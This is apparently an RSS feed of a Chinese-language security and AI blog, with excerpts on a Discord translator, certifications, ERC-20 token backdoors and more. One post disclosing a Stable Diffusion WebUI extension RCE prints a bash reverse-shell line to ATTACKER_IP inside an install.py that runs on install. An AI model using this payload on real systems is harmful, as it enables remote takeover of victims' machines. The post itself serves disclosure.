<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Steven Meow's Blog 🐱</title><link>http://blog.stevenyu.tw/</link><description>Recent content on Steven Meow's Blog 🐱</description><generator>Hugo -- 0.157.0</generator><language>zh-TW</language><lastBuildDate>Sat, 07 Mar 2026 21:00:00 +0800</lastBuildDate><atom:link href="http://blog.stevenyu.tw/index.xml" rel="self" type="application/rss+xml"/><item><title>BabelChat 基於 AI 的 Discord 翻譯軟體</title><link>http://blog.stevenyu.tw/2026/03/07/babelchat-discord-translator/</link><pubDate>Sat, 07 Mar 2026 21:00:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2026/03/07/babelchat-discord-translator/</guid><description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;：用 Claude Code Vibe Coding 了一個 Discord 翻譯插件，基於 Vencord，支援任何 OpenAI 相容 API，可以一鍵翻譯整串對話、自動翻譯新訊息、打字時先翻譯再送出。免費、開源、附一鍵安裝腳本。&lt;a href="https://github.com/stevenyu113228/BabelChat"&gt;GitHub&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;現在無論資安、WEB 3 相關的社群都流行在 Discord 上開啟相關的 Server。因此我的 Discord 上常常充斥著多種不同的語言，每次遇到看不懂或懶得看的時候，我不是打開 Google 翻譯 / DeepL 就是打開 ChatGPT / Gemini，每天重複很多次，多到乾脆懶得看ㄌ。&lt;/p&gt;
&lt;p&gt;網路上現在當然也有一些 Solution，例如基於 Better Discord 的 Translator Plugin 等，不過這些翻譯仍然是基於 Google 翻譯等 API，而且使用操作起來並沒有想像中直覺，沒辦法大規模的翻譯一整串的聊天訊息。或是直接安裝翻譯 Bot，但這又會驚動其他使用者，畢竟對我來說，潛水偷看才是最常發生的事 XD。&lt;/p&gt;
&lt;p&gt;首先我們需要知道一下 Discord 預設其實是不允許安裝 Extension 的，社群為了解決這個問題，最簡單的方法當然就是使用瀏覽器，瀏覽器的翻譯外掛就有非常多的選擇，例如我最常用的 沈浸式翻譯 (Immersive Translate)，不過非原生用起來總是沒有很舒服，所以我希望使用盡可能原生的方法在 Discord 中解決這個問題。另外一個我的需求是希望可以使用 AI 輔助翻譯，出現原文跟中文的對照，實現類似 沈浸式翻譯 的體驗。&lt;/p&gt;
&lt;h2 id="vencord"&gt;Vencord&lt;/h2&gt;
&lt;p&gt;因此如果想要對原生的 Discord 動手腳的話，最常使用的工具叫做 Vencord，這邊需要知道 Discord 本質上是一個 Electron 的 APP，也就是包了一個 Chromium 在裡面跑 React，所以只要有辦法 Inject JS 的話就可以直接增加功能。不過直接改 Discord 的程式碼是一件很痛苦的事情，它經過了一系列 webpack 的打包壓縮等，每一次更新都需要重新逆向一次。&lt;/p&gt;</description></item><item><title>部落格搬新家ㄌ！</title><link>http://blog.stevenyu.tw/2026/03/01/new-blog/</link><pubDate>Sun, 01 Mar 2026 00:17:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2026/03/01/new-blog/</guid><description>&lt;p&gt;睽違了 3 年多，終於把我的舊部落格給搬到新家了 XD。&lt;/p&gt;
&lt;p&gt;先來分享一下為什麼會突然想要更新部落格以及搬家，事實上我的部落格已經荒廢了超久丟著沒維護，總覺得在 AI 時代，好像分享一些基礎的東西已經沒有太大的意義了，就一直沒有太想寫文章。不過因為最近自己在做一些 Wordpress 相關的研究，一不小心就挖到了一堆的 CVE 漏洞 （應該以後有機會會再拿出來分享），這些漏洞讓我覺得荒廢多年的 Wordpress 一直擺著其實是一件超可怕的事情。再加上不明原因導致，我的舊 Blog 一直會出現 SSL 故障的問題。因此想說搬家到 hugo 純靜態是一個一勞永逸的方法。&lt;/p&gt;
&lt;p&gt;因為原本的 Blog 是 Wordpress 6.9 搭配 PHP 7 時代的產物，現在搬家也是一件比較麻煩的事情，所以就一直沒有動手，直到現在有了方便的 Claude Code 可以自己幫我處理這些問題，才讓我毅然決然（？）決定來搬家。不過搬家過程確實還是經歷了不少的風風雨雨。&lt;/p&gt;
&lt;p&gt;一開始我打算使用 wp2hugo 結果在轉換的過程中會直接的 crash。 後來就自己命令 Claude 幫我寫了一個 Python的腳本來進行轉換。 接下來我發現在 WardPress上面的 XML 的匯出其實也是不完整的。 原本的 158 篇文章只能匯出 88 篇，就算透過 SSH 進去使用 wp-cli 也是一樣的結果，因此最後的解法是 SSH 進入 Docker 使用 PHP + MySQLi 直接讀取資料庫才解決完畢，感嘆 Claude 讚嘆 Claude，這種事情如果在古時候應該就需要花上大半天的時間吧 XD。&lt;/p&gt;
&lt;p&gt;總之現在搬完了 Blog，重新設定好了該設定的內容，也許我會再開始寫一陣子的 Blog 吧（？），分享一些近期 Vibe Coding 出來的小玩具。至少現在放著也比較不用擔心維護及管理 Server 的問題。如果心情好可能也會補一些過去三年沒有傳的內容，一切就看心情ㄌ 嘻嘻。&lt;/p&gt;</description></item><item><title>手把手教學的 Active Directory 資安證照：CRTP</title><link>http://blog.stevenyu.tw/2023/09/25/%E6%89%8B%E6%8A%8A%E6%89%8B%E6%95%99%E5%AD%B8%E7%9A%84-active-directory-%E8%B3%87%E5%AE%89%E8%AD%89%E7%85%A7%EF%BC%9Acrtp/</link><pubDate>Mon, 25 Sep 2023 17:43:33 +0800</pubDate><guid>http://blog.stevenyu.tw/2023/09/25/%E6%89%8B%E6%8A%8A%E6%89%8B%E6%95%99%E5%AD%B8%E7%9A%84-active-directory-%E8%B3%87%E5%AE%89%E8%AD%89%E7%85%A7%EF%BC%9Acrtp/</guid><description>&lt;p&gt;我在今年七月時，報名了 CRTP 的證照，CRTP 的課程，全名 Attacking &amp;amp; Defending Active Directory Lab。 它的特色主要在於，所有題目都是 Windows 最新版本 Windows Server 2022 且 Windows Defender 全開的機器，Lab 以及考試的內容都圍繞在 Windows AD 之中。&lt;/p&gt;
&lt;p&gt;它的 Lab 宗旨主要是對於 Windows 中，無法透過 Patch 修復的一些 Misconfiguration，相較於 OSCP 常見的打 CVE，方向不太一樣。另外就是，這張證照完全不需要使用到任何的 Linux 機器，例如 Kali。它的起步點預設於我們已經拿到一台 Domain Joined 的 Windows，並以那台 Windows 電腦作為起跑點，進行橫向移動，拿到 Domain Admin。&lt;/p&gt;
&lt;p&gt;其實這張證照我在今年初就有打算想要報，不過後來看到了一些相關的通知，說 Pentester Academy 在 2023 年初將不再提供 CRTP 的證照。好在後來這張證照改由 Altered Security 繼續推出，看起來像是這堂課的講師 Nikhil 自己出來自立門戶，開了一間公司。&lt;/p&gt;
&lt;p&gt;在今年七月初，當完了研發替代役的兵之後，距離公司的下一個大 Project 開始之間，有差不多一個禮拜的空擋，因此我就花了一週的時間把 Lab 全部刷完了 XD。&lt;/p&gt;
&lt;h2 id="報名"&gt;報名&lt;/h2&gt;
&lt;p&gt;CRTP 現在的報名頁面是以下網址：https://www.alteredsecurity.com/adlab&lt;/p&gt;
&lt;p&gt;我覺得網站非常簡陋，看起來也很像釣魚網站，目前它有三種不同的方案，分別是 30 天 249 鎂；60天 379 鎂以及 90 天 499 鎂。&lt;/p&gt;</description></item><item><title>Stable Diffusion WebUI RCE Vulnerability</title><link>http://blog.stevenyu.tw/2023/04/23/stable-diffusion-webui-rce-vulnerabilitiy/</link><pubDate>Sun, 23 Apr 2023 19:50:08 +0800</pubDate><guid>http://blog.stevenyu.tw/2023/04/23/stable-diffusion-webui-rce-vulnerabilitiy/</guid><description>&lt;p&gt;目前最有名的 Stable Diffusion GUI 程式是由 &lt;a href="https://github.com/AUTOMATIC1111/stable-diffusion-webui"&gt;AUTOMATIC1111&lt;/a&gt; 開發的&lt;br&gt;
&lt;a href="https://github.com/AUTOMATIC1111/stable-diffusion-webui"&gt;stable-diffusion-webui&lt;/a&gt; ，它強大且多功能的介面，吸引了非常多人的使用。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/OXr0bk1.png"&gt;&lt;/p&gt;
&lt;p&gt;Stable Diffusion Web UI 支援透過 Extension 功能安裝第三方的套件，使用者僅需貼上對應的 GitHub Repository 即可安裝對應的套件。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/YD3GOdL.png"&gt;&lt;/p&gt;
&lt;p&gt;透過這種方式安裝套件非常方便，但也有嚴重的安全隱患。這些套件都是透過 Python 撰寫而成，因此，駭客也可以自行準備一個惡意的腳本，並透過該 UI 載入，即可達成遠端指令執行 (RCE)。&lt;/p&gt;
&lt;p&gt;Stable Diffusion Web UI 的套件格式為，一個 &lt;code&gt;install.py&lt;/code&gt; 的腳本進行安裝相關操作，而主要的腳本則放在 &lt;code&gt;scripts&lt;/code&gt; 資料夾中。而初次引入腳本的瞬間，系統會自動執行 &lt;code&gt;install.py&lt;/code&gt; 的程式碼。因此，如果攻擊者準備好一個包含惡意腳本的 Repository，並引入，即可控制遠端的系統。&lt;/p&gt;
&lt;p&gt;舉例來說，我們可以建立一個 Github Repository，並單純只放入 &lt;code&gt;install.py&lt;/code&gt;，裡面寫入一個 Reverse Shell 的腳本。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;os.system(&amp;#34;bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/8787 0&amp;gt;&amp;amp;1&amp;#39; &amp;amp;&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;並操作 Stable Diffusion Web UI 進行引入的動作，當按下引入後，攻擊者的 IP 即可收到一個 Reverse Shell，也就代表我們已經順利的駭入這台電腦或伺服器了！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/Y8s1TEX.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Demo: &lt;a href="https://www.youtube.com/watch?v=yyjeMs1R8Ew"&gt;https://www.youtube.com/watch?v=yyjeMs1R8Ew&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其實，這套 Web UI 預設是開在 127.0.0.1 僅供本地使用，不過許多人為了遠端存取，或是多人共用，因此將其直接開在廣域網路上。可怕的事情是，只要對整個網際網路開啟了 Web UI，駭客就可以輕易地奪走使用者的電腦或是伺服器！&lt;/p&gt;</description></item><item><title>TL;DW (An AI Support Video Summarizer)</title><link>http://blog.stevenyu.tw/2023/02/28/tldw-an-ai-support-video-summarizer/</link><pubDate>Tue, 28 Feb 2023 13:36:16 +0800</pubDate><guid>http://blog.stevenyu.tw/2023/02/28/tldw-an-ai-support-video-summarizer/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Too Long; Don&amp;rsquo;t Watch&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;二二八連假，我整理了一下手邊囤積的各種，還沒時間&lt;del&gt;或是懶得看&lt;/del&gt;的教學影片。包含了各大 Conference，或是路邊撿來的一些課程內容。點開這些影片，雖然內容跟標題都非常吸引人，不過常常出現奇怪的印度口音造成理解困難 QQ。而總計數百、數千小時的影片量應該是不可能在有生之年有辦法看完的，再加上許多影片並沒有提供原始的 PPT 檔案 QQ。&lt;/p&gt;
&lt;p&gt;因此，我寫了一個腳本來透過 GPT 3 解決這個問題！透過 GPT3 的 AI 引擎來自動地幫每一頁的簡報進行 Summarize。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Repo 載點：&lt;/strong&gt;&lt;a href="https://github.com/stevenyu113228/TL-DW"&gt;https://github.com/stevenyu113228/TL-DW&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在腳本中，首先我透過 ffmpeg 將影片截圖成每秒一張的照片，接下來使用 UQI (Universal image Quality Index) 區分出不同的圖片，並將圖片透過 Tesseract 進行 OCR 轉換成文字；同一時間，把影片的聲音軌給分離出來，並依照截圖的時間點進行切割，即可取得每一頁投影片所對應的語音內容，再把語音內容給送入 Google 的語音轉文字服務，取得每一頁講者的語音。&lt;/p&gt;
&lt;p&gt;有了每一頁的 OCR 結果以及講者的語音轉文字，接下來就可以由 AI 出面了！我使用了目前最夯的 OpenAI GPT-3 &lt;code&gt;text-davinci-003&lt;/code&gt; 模型，並使用以下咒語產出 Summary。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;以下是一段課堂上投影片的語音轉文字，以及其對應講義的 OCR 資料，請忽視 OCR 的錯誤及簡報 header/footer。並使用繁體中文統整該頁面之內容，專有名詞部分請盡量保留使用英文\n\n語音轉文字：```\n{voice}\n```\n\n投影片 OCR：```{ocr}```\n\n統整結果：
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最終，再把結果透過 Python 的 docx 輸出成完整報告，這樣下來只需要不到原始影片三分之一的時間，就可以讀完整份影片的內容，而如果逐字稿跟 AI 對於某段的總結有點奇怪時，也可以直接從報告上取得該頁面的時間，自己切回去影片重新查看！&lt;/p&gt;
&lt;p&gt;不過 OpenAI 的 API 是需要付費的，但它有 18 美元的試用額度，我自己實驗下來，一個 30 分鐘的教學影片約需要花費 0.3~0.7 美元，我認為是非常划算 &amp;amp; 值得的！&lt;/p&gt;</description></item><item><title>去中心化的區塊鏈虛擬貨幣是唬爛的 - ERC-20 後門實戰</title><link>http://blog.stevenyu.tw/2023/01/05/%E5%8E%BB%E4%B8%AD%E5%BF%83%E5%8C%96%E7%9A%84%E5%8D%80%E5%A1%8A%E9%8F%88%E8%99%9B%E6%93%AC%E8%B2%A8%E5%B9%A3%E6%98%AF%E5%94%AC%E7%88%9B%E7%9A%84-erc-20-%E5%BE%8C%E9%96%80%E5%AF%A6%E6%88%B0/</link><pubDate>Thu, 05 Jan 2023 14:08:15 +0800</pubDate><guid>http://blog.stevenyu.tw/2023/01/05/%E5%8E%BB%E4%B8%AD%E5%BF%83%E5%8C%96%E7%9A%84%E5%8D%80%E5%A1%8A%E9%8F%88%E8%99%9B%E6%93%AC%E8%B2%A8%E5%B9%A3%E6%98%AF%E5%94%AC%E7%88%9B%E7%9A%84-erc-20-%E5%BE%8C%E9%96%80%E5%AF%A6%E6%88%B0/</guid><description>&lt;p&gt;前一篇文中，我們使用了 Solidity 實作 ERC 20 代幣，當時我們提到了區塊鏈的虛擬貨幣，其實就只是在 EVM 中的一個 map (類似 Python 的 Dictionary)，裡面儲存了位址以及金額。 而 ERC 20 標準，只需要符合指定的 Interface，講白話文就是，僅需要 Implement 指定的幾個 Function，就能發行一個新的虛擬貨幣。&lt;/p&gt;
&lt;p&gt;然而，這會有兩個明顯的問題，首先，我們只需要依照標準定義 function 的名稱、輸入、輸出就可以符合 ERC 20 的標準，這邊並沒有限制任何的 function 內容需要怎麼實作，這意味著我們可以自己幫 Function 加料，例如在 Function 中埋藏一些後門。 另外，我們也可以在同一個 Contract 中，額外實作標準以外的其他 Function 來達成我們希望的功能，做這兩件事情，都依然是一個合法、符合 ERC 20 標準的代幣。&lt;/p&gt;
&lt;p&gt;為了避免重造輪子，事實上我們可以直接 import 由 OpenZeppelin 提供的 Library 來進行繼承或是修改，OpenZeppelin 也提供了很多擴充功能可以使用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pragma solidity ^0.8.17;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import &amp;#34;@openzeppelin/contracts/token/ERC20/IERC20.sol&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import &amp;#34;@openzeppelin/contracts/token/ERC20/ERC20.sol&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import &amp;#34;@openzeppelin/contracts/access/Ownable.sol&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import &amp;#34;@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;舉例來說，我們想要發行一個後門幣 (Back Door Coin, BDC) 的話，僅需在合約的 Constructor 定義我們初始需要鑄造多少顆幣，預設的 decimals 是 18，也就是真正的貨幣金額會是 Balance 值 *10^-18，以避免浮點誤差。&lt;/p&gt;</description></item><item><title>一起來用 ERC-20 發行垃圾幣吧！</title><link>http://blog.stevenyu.tw/2022/12/26/%E4%B8%80%E8%B5%B7%E4%BE%86%E7%94%A8-erc-20-%E7%99%BC%E8%A1%8C%E5%9E%83%E5%9C%BE%E5%B9%A3%E5%90%A7%EF%BC%81/</link><pubDate>Mon, 26 Dec 2022 17:33:17 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/12/26/%E4%B8%80%E8%B5%B7%E4%BE%86%E7%94%A8-erc-20-%E7%99%BC%E8%A1%8C%E5%9E%83%E5%9C%BE%E5%B9%A3%E5%90%A7%EF%BC%81/</guid><description>&lt;p&gt;只要建立了 ERC-20 標準的合約，就可以自動相容各種 ERC-20 代幣的軟硬體錢包，交易所等，事實上，只需要寫約 100 行的 Code 就能自己發行代幣，也可以很輕易的在這些合約 Code 內留下後門來做壞壞ㄉ事。&lt;/p&gt;
&lt;h2 id="interface"&gt;Interface&lt;/h2&gt;
&lt;p&gt;為了能夠把常見的介面給定義清楚， Solidity 有 interface 的功能。所有的函式必須是 External，即使最後宣告時使用 public。&lt;/p&gt;
&lt;p&gt;一個 ERC20 的介面必須有 2 個事件以及 6 個函式&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;interface IERC20 {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; event Transfer(address indexed from, address indexed to, uint256 value);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; event Approval(address indexed owner, address indexed spender, uint256 value);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; function totalSupply() external view returns (uint256);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; function balanceOf(address account) external view returns (uint256);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; function transfer(address to, uint256 amount) external returns (bool);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; function approve(address spender, uint256 amount) external returns (bool);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; function allowance(address owner, address spender) external view returns (uint256);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; function transferFrom(address from, address to, uint256 amount) external returns (bool);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="totalsupply"&gt;totalSupply&lt;/h3&gt;
&lt;p&gt;可以回傳代幣的總發行量，通常會使用狀態變數 &lt;code&gt;_uint256 _totalSupply&lt;/code&gt; 來儲存。&lt;/p&gt;</description></item><item><title>既不智能，又不是合約的智能合約 - Solidity</title><link>http://blog.stevenyu.tw/2022/12/26/%E6%97%A2%E4%B8%8D%E6%99%BA%E8%83%BD%EF%BC%8C%E5%8F%88%E4%B8%8D%E6%98%AF%E5%90%88%E7%B4%84%E7%9A%84%E6%99%BA%E8%83%BD%E5%90%88%E7%B4%84-solidity/</link><pubDate>Mon, 26 Dec 2022 13:04:27 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/12/26/%E6%97%A2%E4%B8%8D%E6%99%BA%E8%83%BD%EF%BC%8C%E5%8F%88%E4%B8%8D%E6%98%AF%E5%90%88%E7%B4%84%E7%9A%84%E6%99%BA%E8%83%BD%E5%90%88%E7%B4%84-solidity/</guid><description>&lt;p&gt;智能合約並不智能，也不是合約，它只是可以執行在 EVM (Ethereum Virtual Machine) 中的一段 ByteCode 而已。之所以叫這個名字應該只是比較潮ㄅ，而且我覺得「智能」還有一點支語的味道，但在台灣也很少聽到「智慧型合約」這種說法。&lt;/p&gt;
&lt;p&gt;合約不會自動執行，也不會自動結算跟驗證之類的事情，如果需要執行合約內的 Function，需要呼叫指定的 Transaction。&lt;/p&gt;
&lt;h2 id="account"&gt;Account&lt;/h2&gt;
&lt;p&gt;在 Ethereum 底下，有兩種的 Account，分別是具有 Contract Code 的 Contract Account 以及沒有 Contract 的 EOA (External Owned Account)。 創建 Contract 需要使用到 EOA，且 Contract Account 比起 EOA 增加了 Storage hash 以及 Code hash 的欄位。&lt;/p&gt;
&lt;p&gt;在 EOA 底下，總共有三種 Transaction&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;轉 Ether&lt;/li&gt;
&lt;li&gt;部署 Contract&lt;/li&gt;
&lt;li&gt;呼叫 Contract 裡面的特定 Function&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在進行轉 Ether 的 Transaction 時，總共會有 4 個欄位：From, To, Value 以及 Data，其中，Data 為備註欄位，可以填入任意值。&lt;/p&gt;
&lt;p&gt;而透過 EOA 執行部屬 Contract 時，在做的事情跟轉 Ether 一樣，同樣需要填入上述的 4 個欄位。只是 To 需要留空，只要 To 留空就代表該筆 Transaction 是 Create New Contract。 而 Data 欄位則輸入填入 Byte Code， Value 則可以塞一些 Ether 進入合約內。&lt;/p&gt;</description></item><item><title>EC-Council is Sucks</title><link>http://blog.stevenyu.tw/2022/12/23/ec-council-is-sucks/</link><pubDate>Fri, 23 Dec 2022 21:20:32 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/12/23/ec-council-is-sucks/</guid><description>&lt;p&gt;&lt;a href="http://blog.stevenyu.tw/2022/12/23/ec-council-%e6%98%af%e4%b8%80%e9%96%93%e7%88%9b%e5%85%ac%e5%8f%b8/"&gt;(中文版請點這邊 Chinese Here) &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;//This article is translate by ChatGPT!!&lt;/p&gt;
&lt;p&gt;I really think that EC-Council is a very poor company. Although I have not paid them any money, their actions are truly unappealing = =.&lt;/p&gt;
&lt;p&gt;In May of this year, I participated in the free CPENT course offered by Taiwan UUU and successfully completed the CPENT certification after the course ended within one week. Simply put, this certificate claims to be able to rival the OSCP, but in fact, it is less than 1/5 of the OSCP. Over 85% of the exam is brute force cracking.&lt;/p&gt;</description></item><item><title>EC-Council 是一間爛公司</title><link>http://blog.stevenyu.tw/2022/12/23/ec-council-%E6%98%AF%E4%B8%80%E9%96%93%E7%88%9B%E5%85%AC%E5%8F%B8/</link><pubDate>Fri, 23 Dec 2022 18:53:05 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/12/23/ec-council-%E6%98%AF%E4%B8%80%E9%96%93%E7%88%9B%E5%85%AC%E5%8F%B8/</guid><description>&lt;p&gt;&lt;a href="http://blog.stevenyu.tw/2022/12/23/ec-council-is-sucks/"&gt;(English Here)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;真的覺得 EC-Council 是一間非常爛的公司，雖然我沒有付給它任何的一毛錢，不過他們公司的所作所為真的令人不敢恭維 = =。&lt;/p&gt;
&lt;p&gt;在今年五月底時，我參加台灣恆毅提供的 OSCP 免費報名 CPENT 課程，並順利在課程結束後一個禮拜的時間考完了 CPENT 證照。簡單來說，這張證照號稱可以跟 OSCP 匹敵，但事實上連 OSCP 的 1/5 都不到，整個考試有超過 85% 都在暴力破解。&lt;/p&gt;
&lt;p&gt;我覺得這張證照惡劣的地方在於，雖然考試有提供暴力破解的字典檔，但是在課堂上，講師明示暗示的提醒大家需要手動調整暴力破解字典檔的順序，不然會爆到天荒地老。這完全不是一個健康的考試方法吧？我自己上課有聽了一下，因此手動調整了爆破的順序，所有的暴力破解都在 3 分鐘內爆完；另外，我也有其他朋友上課沒有注意到這個部分，考試單純暴力破解就浪費了 7 個小時，這真的非常糟糕。&lt;/p&gt;
&lt;p&gt;自從我上次發了「&lt;a href="http://blog.stevenyu.tw/2022/06/10/%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90-cpent-%E8%80%83%E8%A9%A6%E5%BF%83%E5%BE%97%E3%80%81%E4%BB%A5%E5%8F%8A%E8%88%87-oscp-%E7%9A%84%E6%AF%94%E8%BC%83/"&gt;深度解析 CPENT 考試心得、以及與 OSCP 的比較&lt;/a&gt;」這篇文後，甚至 UUU 的老師當眾在課堂上嘴我ㄟ，阿不就還好課堂底下也都有我認識的人，笑死。關於那張證照的內幕，請回去看原始文章，今天我要分享的內容不是 EC 的垃圾考試部分，而是他們行政處理也非常的糟糕。&lt;/p&gt;
&lt;p&gt;CPENT 證照分數取得超過 90%，可以額外獲得一張 LPT 證照，我於 2022 年 6 月 2 號完成了這張證照考試，提交報告後，於隔天 6 月 3 號收到了以下 Email。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/12/%E5%9C%96%E7%89%87-1-1024x545.png"&gt;&lt;/p&gt;
&lt;p&gt;簡單來說就是恭喜我證照通過了，它來跟我要我的地址，準備寄送證照，到這邊為止一切都很合理。我也於收到這封信的兩個小時後回信了相關的資料。&lt;/p&gt;
&lt;p&gt;在考完試的 6 天後，也就是 6 月 9 號我收到了回信，信中提醒我，我的實體證照將於 3~4 週收到！ OK，四周的話，姑且當作是一個月，也就是照理來說，7月9日左右，我應該就會收到證照了……吧？&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/12/%E5%9C%96%E7%89%87-2-1024x306.png"&gt;&lt;/p&gt;
&lt;p&gt;到了 6 月 22 日，也就是距離我考到證照後約三週的時間，我又收到了一次 EC-Council 的 Email，來跟我確認我的家裡地址。&lt;/p&gt;</description></item><item><title>利用 OpenAI GPT-3 寫一個 Telegram 聊天機器人 (Cloudflare Tunnel &amp; GCP AppEngine)</title><link>http://blog.stevenyu.tw/2022/12/04/%E5%88%A9%E7%94%A8-openai-gpt-3-%E5%AF%AB%E4%B8%80%E5%80%8B-telegram-%E8%81%8A%E5%A4%A9%E6%A9%9F%E5%99%A8%E4%BA%BA-cloudflare-tunnel-gcp-appengine/</link><pubDate>Sun, 04 Dec 2022 21:54:53 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/12/04/%E5%88%A9%E7%94%A8-openai-gpt-3-%E5%AF%AB%E4%B8%80%E5%80%8B-telegram-%E8%81%8A%E5%A4%A9%E6%A9%9F%E5%99%A8%E4%BA%BA-cloudflare-tunnel-gcp-appengine/</guid><description>&lt;p&gt;最近 ChatGPT 很紅，想說可以試著把 OpenAI 的 API 給接上 Telegram 的群組來玩玩看，順便記錄一下 GCP 的 AppEngine Deploy 方法！&lt;/p&gt;
&lt;p&gt;程式碼我放在：&lt;a href="https://github.com/stevenyu113228/OpenAI-GPT-3-Telegram-Chatbot"&gt;https://github.com/stevenyu113228/OpenAI-GPT-3-Telegram-Chatbot&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="效果"&gt;效果&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/cpJ0jy4.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/tsFA5pd.png"&gt;&lt;/p&gt;
&lt;h2 id="openai"&gt;OpenAI&lt;/h2&gt;
&lt;p&gt;先到 &lt;a href="https://beta.openai.com/account/api-keys"&gt;https://beta.openai.com/account/api-keys&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;申請一組 API Token&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/YrEdgSi.png"&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;a href="https://beta.openai.com/playground/p/default-chat"&gt;Playground&lt;/a&gt; 上面隨意玩一下，複製他的 Example 來微調&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/ugWTPZ2.png"&gt;&lt;/p&gt;
